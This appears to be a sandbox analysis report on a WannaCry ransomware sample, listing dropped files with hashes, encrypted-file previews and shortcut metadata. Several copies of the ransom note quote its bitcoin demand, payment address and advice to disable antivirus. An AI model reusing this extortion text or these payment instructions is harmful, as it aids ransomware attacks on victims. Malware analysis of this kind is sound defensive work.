                                    SHA-512:CD7364D93E00D288BC6C39FFBBF6E8191E2255C1ACA48F2CF1A7E8B4ECD1E463549C10F2CEF79680441DB51E149575813759EBB8561FFCA345B0AC37A21F19E3
                                    Malicious:true
                                    Preview:WANACRY!.....`..s..qu..W...\...2........L=.K....%m.c.'..\.....V.I.m.....d.L.A.....6..EB.S......\...?...Zt.V..-......!..F.l..e..G5.TX....%H..i.V...b.I.1.k.NI6.xy..7..~m.\e..;.v\."5.n@...V....:J..z?.g.2...j.. ."..xQKU...t.I...'..;HX......b.......*.a...3.u.PT...................*"..x8..av[z....P'$.F9w.^.zv.9r...qp..p...,L.j...6.....x...-..1.B.O....1.=...0>0#>a..7UT..!}...^l'..F......H`i......[..H.....gW.a^..x..c0 .[...-...H.$Yj....c..$..3/.h..mZ..:......./..q8.4.c...........K.H..:....d7.F.B.1k.c*....i..Y....Pd..^......F'h3.8...zCjo..L{.;g.s.-.%k..A..B.A.,a.].......B."7..[=....^n:.q,...$y.!...n.....d...;1...m.P.Y.....'...D.tx.d...<..o...4...-.........^.|z]~[...R..P.K..LI...`f.ez[.^n......L.....gw..vf..M......%cXt.[........F..Uo..U]...s...[5....$B)O.y.5..x..C.#.....d-..i;....Cg.W.....d;...H..,....D.`.V......I.1.ab...S.4.|<>......TH.."....]de....jT6....aK.... =...6"...D.J<._...&.*9.2.h]b...K..sF..j.xD.H.....b.l..E.m..btr.~f.6..c.`tN.......

                                    C:\ProgramData\Microsoft\UEV\Scripts\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\ProgramData\Microsoft\UEV\Scripts\@WanaDecryptor@.exe.lnk

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 22:50:30 2024, mtime=Thu Jul 25 22:50:30 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                    Category:dropped
                                    Size (bytes):580
                                    Entropy (8bit):5.1602313887772375
                                    Encrypted:false
                                    SSDEEP:12:8ORypzYNbQthdUoTAjAtNo9UNlpKJ2JzBmV:8ORBq9UAJlpKJ2Jtm
                                    MD5:E56DDAF80E047E701D2E3E291DA97217
                                    SHA1:FF3DE5A812301977F3F06321805CE59D7D19A1A6
                                    SHA-256:46615DA1D754A5FB40E04B1A9E5CD51D71958AFA9D87EFE674CCAC66354A6706
                                    SHA-512:B0269A491C82F918E9F0AC3E1877B0C5F0697C0D4F51B080CA036CF34036EBC8FFEC75DD2551D2CFB40DC8B7CA1429E7EF93D69C53CA70B7957CD64A5E4EAA6D
                                    Malicious:false
                                    Preview:L..................F.... ....n.n.....n.n.....`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_...B,Ho......`o......t.2......J.2 .@WANAD~1.EXE..X.......XP..XP......=........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......]...............-.......\...........'q.......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......701188...........hT..CrF.f4... ..../Tc...,......hT..CrF.f4... ..../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                    C:\ProgramData\Microsoft\User Account Pictures\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\ProgramData\Microsoft\User Account Pictures\@WanaDecryptor@.exe.lnk

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 22:50:30 2024, mtime=Thu Jul 25 22:50:30 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                    Category:dropped
                                    Size (bytes):580
                                    Entropy (8bit):5.1602313887772375
                                    Encrypted:false
                                    SSDEEP:12:8ORypzYNbQthdUoTAjAtNo9UNlpKJ2JzBmV:8ORBq9UAJlpKJ2Jtm
                                    MD5:E56DDAF80E047E701D2E3E291DA97217
                                    SHA1:FF3DE5A812301977F3F06321805CE59D7D19A1A6
                                    SHA-256:46615DA1D754A5FB40E04B1A9E5CD51D71958AFA9D87EFE674CCAC66354A6706
                                    SHA-512:B0269A491C82F918E9F0AC3E1877B0C5F0697C0D4F51B080CA036CF34036EBC8FFEC75DD2551D2CFB40DC8B7CA1429E7EF93D69C53CA70B7957CD64A5E4EAA6D
                                    Malicious:false
                                    Preview:L..................F.... ....n.n.....n.n.....`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_...B,Ho......`o......t.2......J.2 .@WANAD~1.EXE..X.......XP..XP......=........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......]...............-.......\...........'q.......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......701188...........hT..CrF.f4... ..../Tc...,......hT..CrF.f4... ..../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                    C:\ProgramData\Microsoft\User Account Pictures\guest.bmp.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):602456
                                    Entropy (8bit):7.999708567207119
                                    Encrypted:true
                                    SSDEEP:12288:Y28To3PxHO4qWycvbRCnzm1M7bUM3wBB9y+DO7xjKgwu:wTk5HO42cvNOzmiz69y+6xjZwu
                                    MD5:6FC2CC01F2CD8504F3988D8D8EA3271D
                                    SHA1:493F0BC680D90A8664D7C50F6432D2315FF2E7A2
                                    SHA-256:CF43E7B8D8E2488F4CD55C83D5488C1FDA1E5A620DD6C76F0A77EA2FA8931669
                                    SHA-512:99EC1238CC42787263B9650CCFF728EB8B921184E68627122453FAF694E104FE6A479CDCDF1B829F6FBDEF29B9F9CF05ACECF341D55313A655AF9C76A917B37C
                                    Malicious:true
                                    Preview:WANACRY!......R...&....L.|G..g<......z......."......D..C.T.Z.K.E5...*r..C6@.Gs%...,M.......%...]..!p.."*a<U..(.xQPe8..R..R.......R.vg.~.jS.i$..=a..M......0.......I...).h...I..!_C#Q...4g.i.c5=..n....2.>..B..s.~..,Z.s...0>....d_..........{?.>.Rz....D./.._\..q....80.........E....Q.."g.....&.,*......U...s$.Z..7gg..z.M>[..mU(.l...0....9.RNvP.lj..3Z....P.........=-kdd.U..d...[.C.>Zc.z..[.!s.s.....2.O.NS....p....k.7.z.V....x.~T.....vu..... .7GwO.*.....m..P..1..G.^...u.}\..>...%s1tJA'.....U.k....E.g.:d...1....G.o..BG ."..&.+2. .....:f....].S.g..\.PA%.....P..4..........@.. ?...t.P|G~2..C.S3..5.Ls...9c.:9.<} ./.y8.l8.r.W.L..5....Ybf.......^2.7Gw.....=,...rY:.t&.....GP.F..........=4.C....U...@J.}}Z.*>Z.!b.Fs....y....y..,....,..F..y..>.C.d=7.....D7!j.w)...D.-......n.Z.8'..dF...1..D....!.S..vLW.G....gT .e.R.'.ru.C1....a...(...d%....u.B?8.hg.9.n.w..+...Y./M.\...5.E..7.p...uJi..,..7....s..8...p...S.c$t3..."_.NC/.........= "Hh...P...M....)....d....0.'..s..3.

                                    C:\ProgramData\Microsoft\User Account Pictures\guest.png.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):6344
                                    Entropy (8bit):7.9668157101721295
                                    Encrypted:false
                                    SSDEEP:192:+C/WRM62HWzZlIkm/rHYwm7v4RBnttiGU6k:+lG622zLrm/7K7vut6R
                                    MD5:228D2AF5E1E22296E430BC73EC7F17C8
                                    SHA1:2DC36058675636EE0DE7119B68CA21A60F1F8792
                                    SHA-256:0D8A589751D6A3A0B8BFCFE91D2835D7773A83642AA9901F79BE0F5D6D251AB3
                                    SHA-512:736D79BDA060B72110BC53084AB5EF2CB0899068C358FF40932E30FFFDD2296C7420B24C7B511BDBBC83672B0E84EBA05E764AAA5DD676F0C4D0094BB2554B17
                                    Malicious:false
                                    Preview:WANACRY!....zl.N..A......$e....{...M..k.CP....CT.$..M... ....M.r...m.a...._=Z.:/v.M......kV.6...Z..! p.M...BIN../..H....JpF+.za.....4...ll..n..J_.s).0.S..H..D".._+T.j{|..v...f..B./z..~..PTc .A...hq:a....=.9...3....e.0.k...3.$|.{..0.O....s^I.......)R.[-+:l.................L.{P.t......-ZS.....,K.....H..s.W.;.{gx.M......k@(~..o......t&..vy.......#.....d.....-;u,.m.].....c......pwQ.H....x.`QJ.V*..wDX.V...}....$..Z...r].Cb_.6.`..F.+..}..**..B..:y..q.....IdK...r.j(..1........D.MQ.y..M....4k.w..A.5...A..Q..-.]..`.b.qQ.?.[...bl..f.0....}V...q.,..6j...ISw2.!.-.*..hg...".F .......(|.6%.$!...../.G8#.[.........XCO....E5..g.Q...(K...`.Z[T\8.()\S.....w..H............n]..qN.1.....q...&.....b...:..V:...u^.2.....*/.^..\....e.L,8.2..1.."...GF.....$.!-..$BT.q...x.y..'._..|9j..f...Y..[.(..=Q.ag7....Nd..}...~...T#.]y..9!].;.0._..UZ.?.S.P......+.L.Tb.~.V......X/...al4b...k/y..d...u....!.G.+'.. .:..*=`........22Q.!........t......nq[R).b..,.M.....&....4....`.yX6M.

                                    C:\ProgramData\Microsoft\User Account Pictures\user-192.png.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):2680
                                    Entropy (8bit):7.9354415270228325
                                    Encrypted:false
                                    SSDEEP:48:bk3SVAdLXGybXCQE3VKp4SFkPxwmcU4kb7qWwA2G8S+AJE9uabHr8okenWRXwZ97:oTdXXzglKp4SFklE0n2MxE8a7Ugvmsj
                                    MD5:4C55F344075A535A403A673AF069370C
                                    SHA1:3E39BF432924B1410A3959E17B6E888CAA41B358
                                    SHA-256:8C1A27C3FBA533A6AFE13556EFB0417B752F10FD43532E6E4843C785DFFCC39B
                                    SHA-512:F4E71F320D4C43204A79E6C01A9700B6D81514041445094A9C33A9765537A91C73BC09D75F8214FE62A1B14C5CE5C1708533AA63CD07BAFA0489B17421585205
                                    Malicious:false
                                    Preview:WANACRY!......dk{ ..,.7...)2.7d.P..sQ..t.U..7..#~.%.C\G...By..1[.*ke..9Ys.}..N..7..A...&.%~..C@..h..s.f...78.^O....O.....T.Pz;.^i..].....T.*NQ`G..=.L...Q.Jy~.m.V.'.P........-.r...2[.....~.,....#G}.8................fUa&.8G.G....).&.....|.u.0....c3..s."BF89.......X.......+..y.K.o$.SX........G..*2...$s{..C*.r%..L...x.......{.@.....h..b..4...;P.s..!W..._3..DTr...eM...P4G0\..+...Y.Z=.v....<4..b.....o..G..l...}.>....4.N.L.De}.;..h.gB!.s..5......('!...w.l....SY.K....L.Q..r*+(..y$...kOe.Oj...fY..J3.O.y..eF.).D.....l....h.D.....t..G....c..Pg..?....Z.'.).l,.L.q.X..N....R.,.s.-..~..#..V...:.J.d.G.....z.....kpU_B 5..o.....H.....P...C.)...m.o+.."......%....+......l....N..d,...=..M.8i...&..LZ....R..H..ya...q.J/._.x.C....";K...1-.'.>w.Lw!..{....@..;:..o9...[.E..^.on.;%......?Hb.~..%...BQ...2]+.,.....L3!.gb.{.@<}.Z\....'{...T]u.f..@.....=...^d....h.U.r..d..X.3L.@...)..........{3~....A]hy<..g*....k.f...!uA...T?..o....C~.*S...-...b..K..u...E.....K.5.s.(.Vr..;[..

                                    C:\ProgramData\Microsoft\User Account Pictures\user.bmp.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):602456
                                    Entropy (8bit):7.999750812707734
                                    Encrypted:true
                                    SSDEEP:12288:xH9rKtIRQG5QNacl3Fyjuj3yPzwJ0xY9yRiFTH8rxG:JJK8QgxSSujiPHewwsG
                                    MD5:57DE19BCDD526B32F365048EFB9D29B3
                                    SHA1:5DC001012427DC306B6D0C9B1A540288A5F15DEE
                                    SHA-256:A002C7D40CE9800B05C6498B16A725C6D6CB5F35FB1D8956068BF0D68AB99EAB
                                    SHA-512:C96B8201BE768F08F4C6CF8114C54F9CE648CC3B76E9DB3805E411CD07B17C3FC2A2416894C78D88D1B8EE2826C003A9DB2C983FA557F4865575F9469FE24743
                                    Malicious:true
                                    Preview:WANACRY!.....:.(.Xpw...q&V..O?.d._.6F.v.d7....#.B..3..n..r..+...q.....z...gX......+{....T...X.e...$......j.u....>@...7m5,.H...=.e^..v..Y.z...S......g9.y.H,.......).%..um@...v`-X.CI.fD.I...N3.b.p.,.1...,.m...aM.K.f.l.Zm...g.....N......A...0.g..=...gt..+....80.........u...j..o....X.AP....b.w.39..>....O....h.L..6...9ip`./....A#.!.>wD.i.....;......<u.H.x9...a..l.q?k(.....o...k*x}..z?&.X.o}....i.uo.....4....3 .....5...-1^u....._.."]v.Ya...;.]##r.i.g$$...S.b......f.6aK9..1.2._ .Q....f..(.#..03T..*.D.5.Q.;...f...c...LJ....~....a+.d.,.'VDA..x.Y.g.V.3....bpo(.(.6.g'..m..P.dBI...W.|g...T.Duqi.^.....:l...........@...#$......=..6.Fo.%$..$$....(......xi.M.."B...de.o,.~n.a..4...~..{.$}|....zi[n......PrSm\=..{.../.....J...).{.x...L.6z..'V.E.....i..0(.'..B.^WD.l.6".%2p=..+..`..$M.ot..A.X<..7..Y[.9.T..tl...9.u..Z.}..)7_R.....:.k.,j.....L ..jFw.....`HE..\.-....Qt/.}+Z.(w...L.3..1.A=.-..b&.).k...S...wC-)....4...\?...v.QT#...}..|K.K:...+.[J.HAD...a..,.

                                    C:\ProgramData\Microsoft\User Account Pictures\user.png.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):6344
                                    Entropy (8bit):7.965791280993947
                                    Encrypted:false
                                    SSDEEP:192:xSKFSfdq72RYpEuOVfoDEfyBNdbRIdHCS:xSKowOYp7OqDEyB1E
                                    MD5:C6F1BEF91C67BDF81DB42CF0D129B178
                                    SHA1:DC7922EDE55333DC758C2292BFE13604B786B645
                                    SHA-256:F13C1648465EC13ADFECF43A17E949CCE00D3F04643BCC0248F3537BEAA9EC8C
                                    SHA-512:FD7AFF461ED2E90735B7E980AB519E7B707869DC640348A2E0E66EF6E15E93EB3C017995D97D32EC279ABCF3DC0C4F7482AD4D7F1186F87B91987A58F221C0FA
                                    Malicious:false
                                    Preview:WANACRY!.......;......nB.....%...,gU~G.Z.N....x.P.&......[.0x.H.......uJv...x..M..\../.7U.u..t\...3:............-..O_......V........f. 2...~.n....b.{..y....D...._..z...6h]K...3....K3....t^...... ...C..jr0?>.D..9Ol.@...D......=..lc.....%.F..xY..6..*..............Ou.k..6.@..3kV._LL1....Mt<[..g.Y.S.{!.U..O#.I.....rr...vc.v.o.....#..M....S,.?%....G..0.S.m-<..{_u^...1....F.R&.A.st9%..{.... ....8......4IsmH...'c`..5....H...$V..k....!x...t.,.%4.O\..IV.T.-..b..qy.H.+..s.P...z.H*..D..VQ.].G..w!..VXz.k..1...W....!...b......5/..H..I.#..?E...$2..)e-.....2d.AX.kuq.F...9E...^.j..1.<r.o.,..s|..'N<..9.G....3.).7s$...K=g.....t......._.Vt'?.%.ti...XPl.....+...>.1..)..`..%......H..%x.H..-.,U.C>`.k(...XzR...M...5..!=.u.,WCW......Gr...G4..v.M..........t.......F..m..?.......X...6....E.c=.y..z.4.[..n#"..j.8.G$..A.....?._.*|..X.}..\t;...PN.....y%)...0u.)..v....v....X.S.$.[.F.f.I..!..{..L@..*,Rw....F.Az|2..._..c.T...bS.$.dq..!...d2t.....q?...,.?..0.......[

                                    C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ThirdPartyNotices.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):7000
                                    Entropy (8bit):7.972192723979544
                                    Encrypted:false
                                    SSDEEP:192:GuIkm918dCfxK7tukMcuLzw+1DTCFVh9WADbJ:dm918dCf87tuZ/Lzw+1DTCFf9WEbJ
                                    MD5:545552EBBF1C1F91916264706BA98733
                                    SHA1:090CD113C456D5547C039E5C22CF43DBABDE81E0
                                    SHA-256:C6ACF7B36339309C9289C1670FE0E988E4D7161F3F871DE9B2F0FBE986AD1F31
                                    SHA-512:B7287B33E48794369B2FBF5C6455A827E55700E02CAB9618BB39B375DFD512E02F39B3E5D92A766A03E48F9B789CD00D82DA8ACCE00E3561922CBECA6A443DA4
                                    Malicious:false
                                    Preview:WANACRY!....8.oH<...crk..?.I.c..a.....w..Ru....<...-H8..w.M.....Q].k........h5.NIGs{..L.6.u.:aO.~.<.@8G;x...A..^."...a};.......h..V...`..].^..[.y..%H...N........<..f.T..8.............6X.p....JIS.q3%.....r.<.@3...l1..f...J....oj.......gJ-...:...|5...0Z.......=........H{.S..z.......9*.l.G...u.l..7Tq8t.L.Z1b...7..Q.I.h...v...a...@..X.....e....Pk...T..!......W-.......y.....tc....e..Z.t..%.[...+/..$.....5...`..P.=).Z6../&....8.:Q"....j.b.,..=.....cY...........Q_.....zM...`..}.6..Fp!iLA.W.w..wu..?.U2..6.bO@C........."....@[E.-hSvb..Q..9...S...9.X.I.&....x. ..X..|....#....k.C.?...t0....H@...wS....NR.w.>..=.)2..@g..N+.(R[...Q.<..XN.=.y..v2./..n...&@.I...L..)...o.6* x.3.\C%....T.s.d=....B..&....g......*...V.s..p-.../....6.>6._...[_.I.<....N~._./......L.}..k.q.......XV...C...=5......h...l..--...l.d.........jg......5..3=s..Y..6.s..nV.3..D.Y.].tE...w........Ky.q..._.&.._...A..5.]J..k,.n...v..,&D........B.7...8KZ2..^....]."5g.~....H{....#.?...rK

                                    C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\ThirdPartyNotices.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):7000
                                    Entropy (8bit):7.97212048109719
                                    Encrypted:false
                                    SSDEEP:192:2kY33eS50lMrqfQW0o60PlJyRF/ukklATzE/lTEsbYRNzf/:2kY33ekpSDZHiFmk8KE/lYNz
                                    MD5:EEEFE4C72C0103CFA06F672776A8A8D3
                                    SHA1:BB63ADB866E47EC1B7EDFD0AA1D65F59344FDA7F
                                    SHA-256:CF11E4452149851170AC00F84DB53A1A94BBFA36AEC5D328BE401846A9CE6891
                                    SHA-512:F98CEE5E407E0B55A283001A9D2B9F2AE168386FBA1B0EF5F5AB5E3CD21C6E30BF02F3765A5459743A79E5F27B0EDF54F4C701607374C251FB49D7FF283A14A8
                                    Malicious:false
                                    Preview:WANACRY!.....=.)..{..0i.)....n..n[....A.....Y...E.F...N...(t...O....|...o...}N.,AR=..Z...;o..6.s..........ht._cg4.Q. .1..6C.........R.rk.)..D.J.O...*....(__..q..5!..dY..?.`xZ7..`$.....Lv...e......>w..i.Nl=....d.}i.l..VF..4e}...S.W...n..H.^1y....z....=.........R..c...@,.-u@.<.".F C.y_.W..5........<R'...&...#,'Tq.Pz'..S.B..Fl..b.....P...c]H*_.....m')...6M\8.c..D.z.....E.U.P... )..d.b.S.(...4...17...U,.\..<jK2......B.Z..*v(..P..Z.g+'W_..6g.X..R..'.`...X\..5@......lJY.r&.&.O.#..G....x........*.K....0.=pQ.+....XLry.)_1.>MK[6X...u..8........'...rpd...k'....1....&...c....%....W.k...y..7 Q.li.-t...<.:....F4.V...;.k....._.....K8.....6...+dx....U....Y.}r)...AZ..;...958..H.Fp..I,..]..ou;...."./a.X..B +.JR.7..VP..I.q......<..;....v.......a2...6.......D.`..n3.9n.yG.4.m..B...__....k@...|.z...R...T._;g.$....aB.$..z.1K..b~t.3........k.znX..gjZkR..?..8....%......;..`..n...r.\....g.:R.....?..&<a....OD.....y|mb....H2...U....1y0...K.4 m.T!...

                                    C:\ProgramData\Microsoft\Windows Defender\Scans\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\ProgramData\Microsoft\Windows Defender\Scans\@WanaDecryptor@.exe.lnk

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 22:50:30 2024, mtime=Thu Jul 25 22:50:30 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                    Category:dropped
                                    Size (bytes):580
                                    Entropy (8bit):5.1602313887772375
                                    Encrypted:false
                                    SSDEEP:12:8ORypzYNbQthdUoTAjAtNo9UNlpKJ2JzBmV:8ORBq9UAJlpKJ2Jtm
                                    MD5:E56DDAF80E047E701D2E3E291DA97217
                                    SHA1:FF3DE5A812301977F3F06321805CE59D7D19A1A6
                                    SHA-256:46615DA1D754A5FB40E04B1A9E5CD51D71958AFA9D87EFE674CCAC66354A6706
                                    SHA-512:B0269A491C82F918E9F0AC3E1877B0C5F0697C0D4F51B080CA036CF34036EBC8FFEC75DD2551D2CFB40DC8B7CA1429E7EF93D69C53CA70B7957CD64A5E4EAA6D
                                    Malicious:false
                                    Preview:L..................F.... ....n.n.....n.n.....`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_...B,Ho......`o......t.2......J.2 .@WANAD~1.EXE..X.......XP..XP......=........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......]...............-.......\...........'q.......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......701188...........hT..CrF.f4... ..../Tc...,......hT..CrF.f4... ..../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                    C:\ProgramData\Microsoft\Windows Defender\Scans\mpcache-5F2FFB7A31DBA078D8F948F77F0FE9B82BEB1559.bin.DB.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1669832
                                    Entropy (8bit):7.999890989225187
                                    Encrypted:true
                                    SSDEEP:24576:1y2uOFHrOk+9XV2xYI+HusEQsS6dObizq1MBThghV9IN4Ih3ELT0Ghg0lTN:A27JoX+nyusA0eORf90RTGW0lZ
                                    MD5:E733B6ED5CAFB3E4CBF07BBDA2948B27
                                    SHA1:6D7B11EF2AE85F6E7DE26DC530F7B1E2ADA0A35F
                                    SHA-256:E4EBA3D41F9C0141833624B8D015E20BE8D0388C30B76342FE1FB330B168D966
                                    SHA-512:64599EEF7C38CDCC217998710ADCFB258680457AC13A98283EAE91429F0D4BDCBE3D2002D89E664A19DA37DF5C5CCF0A3C91371AE25425AB7A12B1FB266A0D6F
                                    Malicious:true
                                    Preview:WANACRY!....W1...I....Mi...`^.%,..D;.k=...z.. &...RS...Nc....5o...IN....e:..W4<.(..q..._.......$j...E.j.....7.= ..g.SS..B..*..[.Z+..v-`....Sa.....QU.d....Q..U@.....o.;..r.Dx...41t+..S.Y6w.<...0T^l.}..$.m....V...).$...aK.....t....bT8VoZ.&..@.t|..wJO......y......2.b..r..d6qtS...........W.t.).t..B...),.....'..U;.I.J...t.=....*P._........Az...f2...h.:8....V..&......i..D..^KpzU.6...!.{..$.+\8..;U.;...N..i.v..5...l..1vXy$.x.5..=c.R..t.w7.>_pZ.>....m~.;.O.q.{.zx....T.6...lDW.caTE.K.HW..~...ME..7..:.,+-..T]...k0...^....0.q...h..g.zC..;l...G.5M....eU.2..f.8..>0.V.t...S.E<d.sQ3..G...1<?h-I@.f?...nc..6..D+{gx.5.=..t4./d..........a.=IX!VaQ.^]....W..`....gqH8.`.$r../..L..7d..+..=.<.I.:...]....R ....U.8A..[..\..9...)T.8E].y{%U.{......;.,.fd...@...L...U.>.<?.~....+m.pm.)GF}......RX.9d.R.V...?^N..J..W...B...e..{.:...p...W....A.oa..C.....F~............xJ4ZO...-=...[....K...t.}./.F.^Z.3..k.......Ef....\V.9..O..B'....%..Ze......79"k......

                                    C:\ProgramData\Microsoft\Windows Defender\Scans\mpenginedb.db.WNCRYT

                                    Download File
